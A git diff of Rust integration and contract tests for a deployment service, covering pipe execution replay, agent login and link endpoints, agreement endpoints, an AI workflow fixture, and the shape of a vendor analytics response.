+    .bind(&deployment_hash)
+    .bind("manual")
+    .bind("success")
+    .bind(json!({"invoice_id": "inv-replay"}))
+    .bind(json!({"customer_id": "cust-replay"}))
+    .bind(json!({"queued": true}))
+    .bind("test_user_id")
+    .execute(&app.db_pool)
+    .await
+    .expect("Failed to seed original execution");
+
+    let replay_execution = stacker::models::pipe::PipeExecution::new(
+        pipe_instance_id,
+        Some(deployment_hash.clone()),
+        "replay".to_string(),
+        "test_user_id".to_string(),
+    )
+    .with_replay_of(original_execution_id);
+
+    let replay_execution = db::pipe::insert_execution(&app.db_pool, &replay_execution)
+        .await
+        .expect("Failed to seed replay execution");
+
+    let replay_execution_id = replay_execution.id.to_string();
+
+    let replay_command_id = queue_trigger_pipe_command(
+        &app,
+        &deployment_hash,
+        pipe_instance_id,
+        json!({"invoice_id": "inv-replay"}),
+    )
+    .await;
+
+    let wait_result =
+        wait_for_command(&client, &app, &deployment_hash, &agent_id, &agent_token).await;
+    assert_eq!(
+        wait_result["item"]["command_id"].as_str(),
+        Some(replay_command_id.as_str())
+    );
+    assert_eq!(wait_result["item"]["type"].as_str(), Some("trigger_pipe"));
+
+    let report_payload = json!({
+        "command_id": replay_command_id,
+        "deployment_hash": deployment_hash,
+        "status": "completed",
+        "executed_by": "compose_agent",
+        "started_at": Utc::now(),
+        "completed_at": Utc::now(),
+        "result": {
+            "type": "trigger_pipe",
+            "deployment_hash": deployment_hash,
+            "pipe_instance_id": pipe_instance_id.to_string(),
+            "success": true,
+            "source_data": { "invoice_id": "inv-replay" },
+            "mapped_data": { "customer_id": "cust-replay-updated" },
+            "target_response": { "queued": true, "replayed": true },
+            "triggered_at": Utc::now(),
+            "trigger_type": "replay"
+        }
+    });
+
+    let report_response = client
+        .post(format!("{}/api/v1/agent/commands/report", &app.address))
+        .header("X-Agent-Id", &agent_id)
+        .header("Authorization", format!("Bearer {}", agent_token))
+        .json(&report_payload)
+        .send()
+        .await
+        .expect("Failed to report replay trigger_pipe command");
+
+    assert!(
+        report_response.status().is_success(),
+        "replay trigger_pipe report failed: {}",
+        report_response.text().await.unwrap_or_default()
+    );
+
+    let replay_rows: (i64,) =
+        sqlx::query_as("SELECT COUNT(*) FROM pipe_executions WHERE replay_of = $1")
+            .bind(original_execution_id)
+            .fetch_one(&app.db_pool)
+            .await
+            .expect("Failed to count replay rows");
+    assert_eq!(replay_rows.0, 1);
+
+    let replay_execution: (String, Option<serde_json::Value>, Option<serde_json::Value>) =
+        sqlx::query_as(
+            "SELECT status, mapped_data, target_response
+             FROM pipe_executions
+             WHERE id = $1",
+        )
+        .bind(uuid::Uuid::parse_str(&replay_execution_id).expect("invalid replay execution id"))
+        .fetch_one(&app.db_pool)
+        .await
+        .expect("Failed to fetch replay execution");
+
+    assert_eq!(replay_execution.0, "success");
+    assert_eq!(
+        replay_execution.1,
+        Some(json!({"customer_id": "cust-replay-updated"}))
+    );
+    assert_eq!(
+        replay_execution.2,
+        Some(json!({"queued": true, "replayed": true}))
+    );
+}
+
+#[tokio::test]
+async fn test_activate_pipe_report_accepts_runtime_lifecycle_shape() {
+    let app = match common::spawn_app().await {
+        Some(app) => app,
+        None => return,
+    };
+    let client = reqwest::Client::new();
+    let deployment_hash = format!("test_activate_pipe_deployment_{}", uuid::Uuid::new_v4());
+
+    create_test_deployment(&app, "test_activate_pipe_project", &deployment_hash).await;
+    let pipe_instance_id = create_pipe_instance(&app, &deployment_hash, "test_user_id").await;
+    let (agent_id, agent_token) = register_test_agent(&client, &app, &deployment_hash).await;
+
+    let command_id = queue_pipe_command(
+        &app,
+        &deployment_hash,
+        "activate_pipe",
+        json!({
+            "pipe_instance_id": pipe_instance_id.to_string(),
+            "target_url": "https://example.com",
+            "trigger_type": "webhook"
+        }),
+    )
+    .await;
+
+    let wait_result =
+        wait_for_command(&client, &app, &deployment_hash, &agent_id, &agent_token).await;
+    assert_eq!(
+        wait_result["item"]["command_id"].as_str(),
+        Some(command_id.as_str())
+    );
+    assert_eq!(wait_result["item"]["type"].as_str(), Some("activate_pipe"));
+
+    let mut report_result = fixture("activate_pipe.success.report.json");
+    report_result["pipe_instance_id"] = json!(pipe_instance_id.to_string());
+    report_result["deployment_hash"] = json!(deployment_hash.clone());
+
+    let report_payload = json!({
+        "command_id": command_id,
+        "deployment_hash": deployment_hash,
+        "status": "completed",
+        "executed_by": "compose_agent",
+        "started_at": Utc::now(),
+        "completed_at": Utc::now(),
+        "result": report_result
+    });
+
+    let report_response = client
+        .post(format!("{}/api/v1/agent/commands/report", &app.address))
+        .header("X-Agent-Id", &agent_id)
+        .header("Authorization", format!("Bearer {}", agent_token))
+        .json(&report_payload)
+        .send()
+        .await
+        .expect("Failed to report activate_pipe command");
+
+    assert!(
+        report_response.status().is_success(),
+        "activate_pipe report failed: {}",
+        report_response.text().await.unwrap_or_default()
+    );
+
+    let stored_result: Option<serde_json::Value> =
+        sqlx::query_scalar("SELECT result FROM commands WHERE command_id = $1")
+            .bind(&command_id)
+            .fetch_one(&app.db_pool)
+            .await
+            .expect("Failed to fetch activate_pipe stored result");
+
+    let stored_result = stored_result.expect("activate_pipe result should be stored");
+    assert_eq!(stored_result["active"], true);
+    assert_eq!(stored_result["trigger_type"], "webhook");
+    assert_eq!(stored_result["lifecycle"]["state"], "active");
+}
+
+#[tokio::test]
+async fn test_deactivate_pipe_report_accepts_runtime_lifecycle_shape() {
+    let app = match common::spawn_app().await {
+        Some(app) => app,
+        None => return,
+    };
+    let client = reqwest::Client::new();
+    let deployment_hash = format!("test_deactivate_pipe_deployment_{}", uuid::Uuid::new_v4());
+
+    create_test_deployment(&app, "test_deactivate_pipe_project", &deployment_hash).await;
+    let pipe_instance_id = create_pipe_instance(&app, &deployment_hash, "test_user_id").await;
+    let (agent_id, agent_token) = register_test_agent(&client, &app, &deployment_hash).await;
+
+    let command_id = queue_pipe_command(
+        &app,
+        &deployment_hash,
+        "deactivate_pipe",
+        json!({
+            "pipe_instance_id": pipe_instance_id.to_string()
+        }),
+    )
+    .await;
+
+    let wait_result =
+        wait_for_command(&client, &app, &deployment_hash, &agent_id, &agent_token).await;
+    assert_eq!(
+        wait_result["item"]["command_id"].as_str(),
+        Some(command_id.as_str())
+    );
+    assert_eq!(
+        wait_result["item"]["type"].as_str(),
+        Some("deactivate_pipe")
+    );
+
+    let mut report_result = fixture("deactivate_pipe.success.report.json");
+    report_result["pipe_instance_id"] = json!(pipe_instance_id.to_string());
+    report_result["deployment_hash"] = json!(deployment_hash.clone());
+
+    let report_payload = json!({
+        "command_id": command_id,
+        "deployment_hash": deployment_hash,
+        "status": "completed",
+        "executed_by": "compose_agent",
+        "started_at": Utc::now(),
+        "completed_at": Utc::now(),
+        "result": report_result
+    });
+
+    let report_response = client
+        .post(format!("{}/api/v1/agent/commands/report", &app.address))
+        .header("X-Agent-Id", &agent_id)
+        .header("Authorization", format!("Bearer {}", agent_token))
+        .json(&report_payload)
+        .send()
+        .await
+        .expect("Failed to report deactivate_pipe command");
+
+    assert!(
+        report_response.status().is_success(),
+        "deactivate_pipe report failed: {}",
+        report_response.text().await.unwrap_or_default()
+    );
+
+    let stored_result: Option<serde_json::Value> =
+        sqlx::query_scalar("SELECT result FROM commands WHERE command_id = $1")
+            .bind(&command_id)
+            .fetch_one(&app.db_pool)
+            .await
+            .expect("Failed to fetch deactivate_pipe stored result");
+
+    let stored_result = stored_result.expect("deactivate_pipe result should be stored");
+    assert_eq!(stored_result["active"], false);
+    assert_eq!(stored_result["removed"], true);
+    assert_eq!(stored_result["lifecycle"]["state"], "inactive");
+}
diff --git a/tests/agent_login_link.rs b/tests/agent_login_link.rs
index 5d452d73..693b96b7 100644
--- a/tests/agent_login_link.rs
+++ b/tests/agent_login_link.rs
@@ -43,7 +43,7 @@ async fn test_agent_login_returns_deployments() {
     });
 
     let resp = client
-        .post(&format!("{}/api/v1/agent/login", &app.address))
+        .post(format!("{}/api/v1/agent/login", &app.address))
         .json(&login_payload)
         .send()
         .await
@@ -76,7 +76,7 @@ async fn test_agent_login_accessible_without_auth() {
     });
 
     let resp = client
-        .post(&format!("{}/api/v1/agent/login", &app.address))
+        .post(format!("{}/api/v1/agent/login", &app.address))
         .json(&login_payload)
         .send()
         .await
@@ -95,9 +95,8 @@ async fn test_agent_login_accessible_without_auth() {
     );
 }
 
-/// Test the agent link endpoint:
-/// POST /api/v1/agent/link with session_token + deployment_id
-/// Without a valid session_token, should return 403
+/// Test the agent link endpoint returns the handler-level "deployment not found"
+/// response for a nonexistent deployment.
 #[tokio::test]
 async fn test_agent_link_rejects_invalid_token() {
     let app = match common::spawn_app().await {
@@ -119,24 +118,28 @@ async fn test_agent_link_rejects_invalid_token() {
     });
 
     let resp = client
-        .post(&format!("{}/api/v1/agent/link", &app.address))
+        .post(format!("{}/api/v1/agent/link", &app.address))
         .json(&link_payload)
         .send()
         .await
         .expect("Failed to send link request");
 
     let status = resp.status();
+    let body = resp
+        .text()
+        .await
+        .expect("Failed to read link response body");
     println!("Link with invalid token response status: {}", status);
-    // Should be 403 (invalid session token) — not 404 (route not found)
-    assert_ne!(status.as_u16(), 404, "Route /api/v1/agent/link should exist");
+    assert_eq!(status.as_u16(), 404, "Expected missing deployment response");
     assert!(
-        status.is_client_error(),
-        "Expected client error for invalid token, got {}",
-        status
+        body.contains("Deployment not found"),
+        "Expected handler response for missing deployment, got: {}",
+        body
     );
 }
 
-/// Test the agent link endpoint is accessible without auth headers (anonym casbin rule).
+/// Test the agent link endpoint is reachable without auth headers and returns
+/// the handler-level missing deployment response rather than middleware denial.
 #[tokio::test]
 async fn test_agent_link_accessible_without_auth() {
     let app = match common::spawn_app().await {
@@ -152,18 +155,23 @@ async fn test_agent_link_accessible_without_auth() {
     });
 
     let resp = client
-        .post(&format!("{}/api/v1/agent/link", &app.address))
+        .post(format!("{}/api/v1/agent/link", &app.address))
         .json(&link_payload)
         .send()
         .await
         .expect("Failed to send link request");
 
     let status = resp.status();
+    let body = resp
+        .text()
+        .await
+        .expect("Failed to read link response body");
     println!("Anonymous link response status: {}", status);
-    assert_ne!(
-        status.as_u16(),
-        404,
-        "Route /api/v1/agent/link should exist"
+    assert_eq!(status.as_u16(), 404, "Expected missing deployment response");
+    assert!(
+        body.contains("Deployment not found"),
+        "Expected handler response for missing deployment, got: {}",
+        body
     );
 }
 
@@ -213,7 +221,7 @@ async fn test_agent_link_rejects_non_owner() {
     });
 
     let resp = client
-        .post(&format!("{}/api/v1/agent/link", &app.address))
+        .post(format!("{}/api/v1/agent/link", &app.address))
         .json(&link_payload)
         .send()
         .await
diff --git a/tests/agreement.rs b/tests/agreement.rs
index c5d42cd6..d206f167 100644
--- a/tests/agreement.rs
+++ b/tests/agreement.rs
@@ -54,15 +54,24 @@ async fn get() {
     }; // server
     let client = reqwest::Client::new(); // client
 
+    // Pre-insert an agreement so the handler has something to return
+    let agreement_id: i32 = sqlx::query_scalar(
+        "INSERT INTO agreement (name, text, created_at, updated_at) \
+         VALUES ('Test Agreement', 'Test text', NOW(), NOW()) RETURNING id",
+    )
+    .fetch_one(&app.db_pool)
+    .await
+    .expect("Failed to insert test agreement");
+
     let response = client
-        .get(&format!("{}/agreement/1", &app.address))
+        .get(format!("{}/agreement/{}", &app.address, agreement_id))
+        .header("Authorization", "Bearer test_token")
         .send()
         .await
         .expect("Failed to execute request.");
 
     println!("response: {:?}", response);
     assert!(response.status().is_success());
-    assert_eq!(Some(0), response.content_length());
 }
 
 // test me: cargo t --test agreement user_add -- --nocapture --show-output
@@ -74,22 +83,57 @@ async fn user_add() {
     }; // server
     let client = reqwest::Client::new(); // client
 
-    let data = r#"
-    {
-        "agrt_id": "1",
-    }
-    "#;
+    // Pre-insert an agreement that the user will accept
+    let agreement_id: i32 = sqlx::query_scalar(
+        "INSERT INTO agreement (name, text, created_at, updated_at) \
+         VALUES ('Test Agreement', 'Test text', NOW(), NOW()) RETURNING id",
+    )
+    .fetch_one(&app.db_pool)
+    .await
+    .expect("Failed to insert test agreement");
+
+    let data = serde_json::json!({ "agrt_id": agreement_id });
+
+    let response = client
+        .post(format!("{}/agreement", &app.address))
+        .header("Authorization", "Bearer test_token")
+        .json(&data)
+        .send()
+        .await
+        .expect("Failed to execute request.");
+
+    println!("response: {}", response.status());
+    assert!(response.status().is_success());
+}
+
+#[tokio::test]
+async fn user_add_via_api_prefix() {
+    let app = match common::spawn_app().await {
+        Some(app) => app,
+        None => return,
+    };
+    let client = reqwest::Client::new();
+
+    let agreement_id: i32 = sqlx::query_scalar(
+        "INSERT INTO agreement (name, text, created_at, updated_at) \
+         VALUES ('API Agreement', 'Test text', NOW(), NOW()) RETURNING id",
+    )
+    .fetch_one(&app.db_pool)
+    .await
+    .expect("Failed to insert test agreement");
+
+    let data = serde_json::json!({ "agrt_id": agreement_id });
 
     let response = client
-        .post(&format!("{}/agreement", &app.address))
-        .json(data)
+        .post(format!("{}/api/agreement", &app.address))
+        .header("Authorization", "Bearer test_token")
+        .json(&data)
         .send()
         .await
         .expect("Failed to execute request.");
 
     println!("response: {}", response.status());
     assert!(response.status().is_success());
-    assert_eq!(Some(0), response.content_length());
 }
 
 // // test me: cargo t --test agreement admin_update -- --nocapture --show-output
diff --git a/tests/ai_workflows_contract.rs b/tests/ai_workflows_contract.rs
new file mode 100644
index 00000000..974bf10d
--- /dev/null
+++ b/tests/ai_workflows_contract.rs
@@ -0,0 +1,95 @@
+use serde_json::Value;
+
+fn load_workflows() -> Value {
+    serde_json::from_str(include_str!("contracts/stacker-ai-workflows.v1alpha1.json"))
+        .expect("AI workflow fixture should be valid JSON")
+}
+
+#[test]
+fn ai_workflows_fixture_metadata_is_correct() {
+    let workflows = load_workflows();
+
+    assert_eq!(
+        workflows["title"].as_str().unwrap(),
+        "stacker-ai-workflows-v1alpha1"
+    );
+    assert_eq!(workflows["_owner"].as_str().unwrap(), "stacker");
+    assert_eq!(workflows["version"].as_str().unwrap(), "v1alpha1");
+}
+
+#[test]
+fn ai_workflows_cover_inspect_explain_plan_apply_and_recover() {
+    let workflows = load_workflows();
+    let workflow_items = workflows["workflows"]
+        .as_array()
+        .expect("workflows should be an array");
+
+    let inspect_apply = workflow_items
+        .iter()
+        .find(|workflow| workflow["name"] == "inspect-explain-plan-apply")
+        .expect("inspect/apply workflow should exist");
+    let inspect_apply_steps = inspect_apply["steps"]
+        .as_array()
+        .expect("inspect/apply workflow steps should be an array");
+    let inspect_apply_tools: Vec<&str> = inspect_apply_steps
+        .iter()
+        .filter_map(|step| step["tool"].as_str())
+        .collect();
+    assert_eq!(
+        inspect_apply_tools,
+        vec![
+            "get_deployment_state",
+            "explain_topology",
+            "get_deployment_plan",
+            "apply_deployment_plan",
+        ]
+    );
+
+    let recover = workflow_items
+        .iter()
+        .find(|workflow| workflow["name"] == "recover-with-rollback")
+        .expect("rollback recovery workflow should exist");
+    let recover_steps = recover["steps"]
+        .as_array()
+        .expect("rollback recovery steps should be an array");
+    let recover_tools: Vec<&str> = recover_steps
+        .iter()
+        .filter_map(|step| step["tool"].as_str())
+        .collect();
+    assert_eq!(
+        recover_tools,
+        vec![
+            "get_deployment_state",
+            "get_deployment_events",
+            "get_deployment_plan",
+            "apply_deployment_plan",
+            "get_deployment_events",
+        ]
+    );
+}
+
+#[test]
+fn ai_workflows_require_confirmation_and_fingerprint_for_apply_steps() {
+    let workflows = load_workflows();
+    let workflow_items = workflows["workflows"]
+        .as_array()
+        .expect("workflows should be an array");
+
+    let apply_steps: Vec<&Value> = workflow_items
+        .iter()
+        .flat_map(|workflow| {
+            workflow["steps"]
+                .as_array()
+                .into_iter()
+                .flatten()
+                .filter(|step| step["tool"] == "apply_deployment_plan")
+        })
+        .collect();
+
+    assert_eq!(apply_steps.len(), 2, "expected two apply workflow steps");
+    for step in apply_steps {
+        assert_eq!(step["confirmRequired"].as_bool(), Some(true));
+        assert_eq!(step["requiresFingerprint"].as_bool(), Some(true));
+        assert_eq!(step["requiresMfa"].as_bool(), Some(true));
+    }
+}
diff --git a/tests/analytics_contract.rs b/tests/analytics_contract.rs
new file mode 100644
index 00000000..458ff6a4
--- /dev/null
+++ b/tests/analytics_contract.rs
@@ -0,0 +1,632 @@
+use serde_json::{json, Value};
+
+/// Load the shared marketplace-vendor-analytics contract.
+///
+/// Note: This contract is mirrored from ../shared-fixtures/api-contracts/marketplace-vendor-analytics.json
+/// to stacker/tests/contracts/marketplace-vendor-analytics.contract.json for reliable CI access.
+fn load_analytics_contract() -> Value {
+    let contract_json = include_str!("contracts/marketplace-vendor-analytics.contract.json");
+    serde_json::from_str(contract_json).expect("contract JSON should be valid")
+}
+
+#[test]
+fn analytics_contract_has_correct_metadata() {
+    let contract = load_analytics_contract();
+
+    // Assert contract title
+    assert_eq!(
+        contract["title"].as_str().unwrap(),
+        "marketplace-vendor-analytics",
+        "Contract title must be marketplace-vendor-analytics"
+    );
+
+    // Assert owner is stacker
+    assert_eq!(
+        contract["_owner"].as_str().unwrap(),
+        "stacker",
+        "Contract owner must be stacker"
+    );
+
+    // Assert consumers include stacker and blog
+    let consumers = contract["_consumers"]
+        .as_array()
+        .expect("_consumers should be an array");
+    let consumer_strings: Vec<&str> = consumers.iter().filter_map(|v| v.as_str()).collect();
+
+    assert!(
+        consumer_strings.contains(&"stacker"),
+        "Consumers must include stacker"
+    );
+    assert!(
+        consumer_strings.contains(&"blog"),
+        "Consumers must include blog"
+    );
+}
+
+#[test]
+fn analytics_contract_defines_correct_endpoint() {
+    let contract = load_analytics_contract();
+
+    let endpoint = &contract["endpoints"]["vendor-template-analytics"];
+
+    assert_eq!(
+        endpoint["method"].as_str().unwrap(),
+        "GET",
+        "Endpoint method must be GET"
+    );
+
+    assert_eq!(
+        endpoint["path"].as_str().unwrap(),
+        "/api/templates/mine/analytics",
+        "Endpoint path must be /api/templates/mine/analytics"
+    );
+
+    assert_eq!(
+        endpoint["ownerService"].as_str().unwrap(),
+        "stacker",
+        "Endpoint ownerService must be stacker"
+    );
+}
+
+#[test]
+fn analytics_contract_period_enum_is_complete() {
+    let contract = load_analytics_contract();
+
+    let period_enum = contract["endpoints"]["vendor-template-analytics"]["query"]["period"]["enum"]
+        .as_array()
+        .expect("period enum should be an array");
+
+    let period_values: Vec<&str> = period_enum.iter().filter_map(|v| v.as_str()).collect();
+
+    assert!(period_values.contains(&"7d"), "period enum must include 7d");
+    assert!(
+        period_values.contains(&"30d"),
+        "period enum must include 30d"
+    );
+    assert!(
+        period_values.contains(&"90d"),
+        "period enum must include 90d"
+    );
+    assert!(
+        period_values.contains(&"all"),
+        "period enum must include all"
+    );
+    assert!(
+        period_values.contains(&"custom"),
+        "period enum must include custom"
+    );
+}
+
+#[test]
+fn analytics_contract_bucket_enum_is_complete() {
+    let contract = load_analytics_contract();
+
+    let bucket_enum = contract["endpoints"]["vendor-template-analytics"]["response"]["properties"]
+        ["period"]["properties"]["bucket"]["enum"]
+        .as_array()
+        .expect("bucket enum should be an array");
+
+    let bucket_values: Vec<&str> = bucket_enum.iter().filter_map(|v| v.as_str()).collect();
+
+    assert!(
+        bucket_values.contains(&"day"),
+        "bucket enum must include day"
+    );
+    assert!(
+        bucket_values.contains(&"week"),
+        "bucket enum must include week"
+    );
+    assert!(
+        bucket_values.contains(&"month"),
+        "bucket enum must include month"
+    );
+    assert!(
+        bucket_values.contains(&"all"),
+        "bucket enum must include all"
+    );
+}
+
+#[test]
+fn analytics_response_matches_contract_shape() {
+    let contract = load_analytics_contract();
+
+    // Build a representative JSON analytics response following the contract structure
+    let analytics_response = json!({
+        "creatorId": "user-123",
+        "period": {
+            "key": "30d",
+            "startDate": "2024-03-27T00:00:00Z",
+            "endDate": "2024-04-26T23:59:59Z",
+            "bucket": "day"
+        },
+        "summary": {
+            "totalViews": 1250,
+            "totalDeployments": 87,
+            "conversionRate": 6.96,
+            "publishedTemplates": 5,
+            "topCloud": "hetzner",
+            "topTemplateId": "550e8400-e29b-41d4-a716-446655440000"
+        },
+        "viewsSeries": [
+            {
+                "bucketStart": "2024-04-25T00:00:00Z",
+                "bucketEnd": "2024-04-25T23:59:59Z",
+                "count": 42
+            },
+            {
+                "bucketStart": "2024-04-26T00:00:00Z",
+                "bucketEnd": "2024-04-26T23:59:59Z",
+                "count": 38
+            }
+        ],
+        "deploymentsSeries": [
+            {
+                "bucketStart": "2024-04-25T00:00:00Z",
+                "bucketEnd": "2024-04-25T23:59:59Z",
+                "count": 3
+            },
+            {
+                "bucketStart": "2024-04-26T00:00:00Z",
+                "bucketEnd": "2024-04-26T23:59:59Z",
+                "count": 2
+            }
+        ],
+        "cloudBreakdown": [
+            {
+                "cloudProvider": "hetzner",
+                "deployments": 45,
+                "percentage": 51.72
+            },
+            {
+                "cloudProvider": "digitalocean",
+                "deployments": 28,
+                "percentage": 32.18
+            },
+            {
+                "cloudProvider": "aws",
+                "deployments": 14,
+                "percentage": 16.09
+            }
+        ],
+        "topTemplates": [
+            {
+                "templateId": "550e8400-e29b-41d4-a716-446655440000",
+                "productId": 101,
+                "slug": "openclaw-aiworkbench",
+                "name": "OpenClaw AI Workbench",
+                "views": 520,
+                "deployments": 45,
+                "conversionRate": 8.65,
+                "price": 29.99,
+                "currency": "USD",
+                "billingCycle": "monthly"
+            },
+            {
+                "templateId": "660e8400-e29b-41d4-a716-446655440001",
+                "productId": null,
+                "slug": "django-postgres",
+                "name": "Django PostgreSQL Stack",
+                "views": 380,
+                "deployments": 22,
+                "conversionRate": 5.79,
+                "price": null,
+                "currency": null,
+                "billingCycle": null
+            }
+        ],
+        "templates": [
+            {
+                "templateId": "550e8400-e29b-41d4-a716-446655440000",
+                "creatorUserId": "user-123",
+                "productId": 101,
+                "slug": "openclaw-aiworkbench",
+                "name": "OpenClaw AI Workbench",
+                "status": "published",
+                "categoryCode": "ai-ml",
+                "views": 520,
+                "deployments": 45,
+                "conversionRate": 8.65,
+                "approvedAt": "2024-03-01T10:00:00Z",
+                "updatedAt": "2024-04-15T14:30:00Z"
+            },
+            {
+                "templateId": "660e8400-e29b-41d4-a716-446655440001",
+                "creatorUserId": "user-123",
+                "productId": null,
+                "slug": "django-postgres",
+                "name": "Django PostgreSQL Stack",
+                "status": "published",
+                "categoryCode": "web",
+                "views": 380,
+                "deployments": 22,
+                "conversionRate": 5.79,
+                "approvedAt": "2024-02-15T08:00:00Z",
+                "updatedAt": "2024-04-10T16:20:00Z"
+            }
+        ]
+    });
+
+    // Get required top-level keys from contract
+    let required_keys = contract["endpoints"]["vendor-template-analytics"]["response"]["required"]
+        .as_array()
+        .expect("required should be an array");
+
+    let required_key_strings: Vec<&str> = required_keys.iter().filter_map(|v| v.as_str()).collect();
+
+    // Assert all required top-level keys are present
+    for key in &required_key_strings {
+        assert!(
+            analytics_response.get(key).is_some(),
+            "Response must contain required key: {}",
+            key
+        );
+    }
+
+    // Verify required keys include expected fields
+    assert!(required_key_strings.contains(&"creatorId"));
+    assert!(required_key_strings.contains(&"period"));
+    assert!(required_key_strings.contains(&"summary"));
+    assert!(required_key_strings.contains(&"viewsSeries"));
+    assert!(required_key_strings.contains(&"deploymentsSeries"));
+    assert!(required_key_strings.contains(&"cloudBreakdown"));
+    assert!(required_key_strings.contains(&"topTemplates"));
+    assert!(required_key_strings.contains(&"templates"));
+}
+
+#[test]
+fn analytics_response_has_required_period_fields() {
+    let analytics_response = json!({
+        "creatorId": "user-123",
+        "period": {
+            "key": "30d",
+            "startDate": "2024-03-27T00:00:00Z",
+            "endDate": "2024-04-26T23:59:59Z",
+            "bucket": "day"
+        },
+        "summary": {
+            "totalViews": 0,
+            "totalDeployments": 0,
+            "conversionRate": 0.0,
+            "publishedTemplates": 0,
+            "topCloud": null,
+            "topTemplateId": null
+        },
+        "viewsSeries": [],
+        "deploymentsSeries": [],
+        "cloudBreakdown": [],
+        "topTemplates": [],
+        "templates": []
+    });
+
+    let period = &analytics_response["period"];
+
+    // Assert required period fields
+    assert!(period.get("key").is_some(), "period must have key");
+    assert!(
+        period.get("startDate").is_some(),
+        "period must have startDate"
+    );
+    assert!(period.get("endDate").is_some(), "period must have endDate");
+    assert!(period.get("bucket").is_some(), "period must have bucket");
+
+    // Validate period.key is valid enum value
+    let period_key = period["key"].as_str().unwrap();
+    assert!(
+        ["7d", "30d", "90d", "all", "custom"].contains(&period_key),
+        "period.key must be valid enum value"
+    );
+
+    // Validate period.bucket is valid enum value
+    let bucket = period["bucket"].as_str().unwrap();
+    assert!(
+        ["day", "week", "month", "all"].contains(&bucket),
+        "period.bucket must be valid enum value"
+    );
+}
+
+#[test]
+fn analytics_response_has_required_summary_fields() {
+    let analytics_response = json!({
+        "creatorId": "user-123",
+        "period": {
+            "key": "30d",
+            "startDate": null,
+            "endDate": null,
+            "bucket": "day"
+        },
+        "summary": {
+            "totalViews": 100,
+            "totalDeployments": 10,
+            "conversionRate": 10.0,
+            "publishedTemplates": 3,
+            "topCloud": "hetzner",
+            "topTemplateId": "550e8400-e29b-41d4-a716-446655440000"
+        },
+        "viewsSeries": [],
+        "deploymentsSeries": [],
+        "cloudBreakdown": [],
+        "topTemplates": [],
+        "templates": []
+    });
+
+    let summary = &analytics_response["summary"];
+
+    // Assert required summary fields
+    assert!(
+        summary.get("totalViews").is_some(),
+        "summary must have totalViews"
+    );
+    assert!(
+        summary.get("totalDeployments").is_some(),
+        "summary must have totalDeployments"
+    );
+    assert!(
+        summary.get("conversionRate").is_some(),
+        "summary must have conversionRate"
+    );
+    assert!(
+        summary.get("publishedTemplates").is_some(),
+        "summary must have publishedTemplates"
+    );
+    assert!(
+        summary.get("topCloud").is_some(),
+        "summary must have topCloud"
+    );
+    assert!(
+        summary.get("topTemplateId").is_some(),
+        "summary must have topTemplateId"
+    );
+}
+
+#[test]
+fn analytics_response_series_have_required_fields() {
+    let series_item = json!({
+        "bucketStart": "2024-04-26T00:00:00Z",
+        "bucketEnd": "2024-04-26T23:59:59Z",
+        "count": 42
+    });
+
+    // Assert required series item fields
+    assert!(
+        series_item.get("bucketStart").is_some(),
+        "series item must have bucketStart"
+    );
+    assert!(
+        series_item.get("bucketEnd").is_some(),
+        "series item must have bucketEnd"
+    );
+    assert!(
+        series_item.get("count").is_some(),
+        "series item must have count"
+    );
+}
+
+#[test]
+fn analytics_response_cloud_breakdown_has_required_fields() {
+    let cloud_item = json!({
+        "cloudProvider": "hetzner",
+        "deployments": 45,
+        "percentage": 51.72
+    });
+
+    // Assert required cloud breakdown fields
+    assert!(
+        cloud_item.get("cloudProvider").is_some(),
+        "cloud breakdown must have cloudProvider"
+    );
+    assert!(
+        cloud_item.get("deployments").is_some(),
+        "cloud breakdown must have deployments"
+    );
+    assert!(
+        cloud_item.get("percentage").is_some(),
+        "cloud breakdown must have percentage"
+    );
+}
+
+#[test]
+fn analytics_response_top_templates_have_required_fields() {
+    let top_template = json!({
+        "templateId": "550e8400-e29b-41d4-a716-446655440000",
+        "slug": "openclaw-aiworkbench",
+        "name": "OpenClaw AI Workbench",
+        "views": 520,
+        "deployments": 45,
+        "conversionRate": 8.65
+    });
+
+    // Assert required top template fields
+    assert!(
+        top_template.get("templateId").is_some(),
+        "top template must have templateId"
+    );
+    assert!(
+        top_template.get("slug").is_some(),
+        "top template must have slug"
+    );
+    assert!(
+        top_template.get("name").is_some(),
+        "top template must have name"
+    );
+    assert!(
+        top_template.get("views").is_some(),
+        "top template must have views"
+    );
+    assert!(
+        top_template.get("deployments").is_some(),
+        "top template must have deployments"
+    );
+    assert!(
+        top_template.get("conversionRate").is_some(),
+        "top template must have conversionRate"
+    );
+}
+
+#[test]
+fn analytics_response_templates_have_required_fields() {
+    let template = json!({
+        "templateId": "550e8400-e29b-41d4-a716-446655440000",
+        "creatorUserId": "user-123",
+        "slug": "openclaw-aiworkbench",
+        "name": "OpenClaw AI Workbench",
+        "status": "published",
+        "views": 520,
+        "deployments": 45
+    });
+
+    // Assert required template fields
+    assert!(
+        template.get("templateId").is_some(),
+        "template must have templateId"
+    );
+    assert!(
+        template.get("creatorUserId").is_some(),
+        "template must have creatorUserId"
+    );
+    assert!(template.get("slug").is_some(), "template must have slug");
+    assert!(template.get("name").is_some(), "template must have name");
+    assert!(
+        template.get("status").is_some(),
+        "template must have status"
+    );
+    assert!(template.get("views").is_some(), "template must have views");
+    assert!(
+        template.get("deployments").is_some(),
+        "template must have deployments"
+    );
+}
+
+#[test]
+fn analytics_response_excludes_finance_fields() {
+    // Build a representative response
+    let analytics_response = json!({
+        "creatorId": "user-123",
+        "period": {
+            "key": "30d",
+            "startDate": "2024-03-27T00:00:00Z",
+            "endDate": "2024-04-26T23:59:59Z",
+            "bucket": "day"
+        },
+        "summary": {
+            "totalViews": 1250,
+            "totalDeployments": 87,
+            "conversionRate": 6.96,
+            "publishedTemplates": 5,
+            "topCloud": "hetzner",
+            "topTemplateId": "550e8400-e29b-41d4-a716-446655440000"
+        },
+        "viewsSeries": [],
+        "deploymentsSeries": [],
+        "cloudBreakdown": [],
+        "topTemplates": [],
+        "templates": []
+    });
+
+    // Assert no finance fields at top level
+    assert!(
+        analytics_response.get("totalEarnings").is_none(),
+        "Response must not contain totalEarnings"
+    );
+    assert!(
+        analytics_response.get("totalAmount").is_none(),
+        "Response must not contain totalAmount"
+    );
+    assert!(
+        analytics_response.get("totalCreatorPayout").is_none(),
+        "Response must not contain totalCreatorPayout"
+    );
+    assert!(
+        analytics_response.get("pendingPayout").is_none(),
+        "Response must not contain pendingPayout"
+    );
+    assert!(
+        analytics_response.get("withdrawableBalance").is_none(),
+        "Response must not contain withdrawableBalance"
+    );
+    assert!(
+        analytics_response.get("pendingWithdrawalBalance").is_none(),
+        "Response must not contain pendingWithdrawalBalance"
+    );
+    assert!(
+        analytics_response.get("paidOutBalance").is_none(),
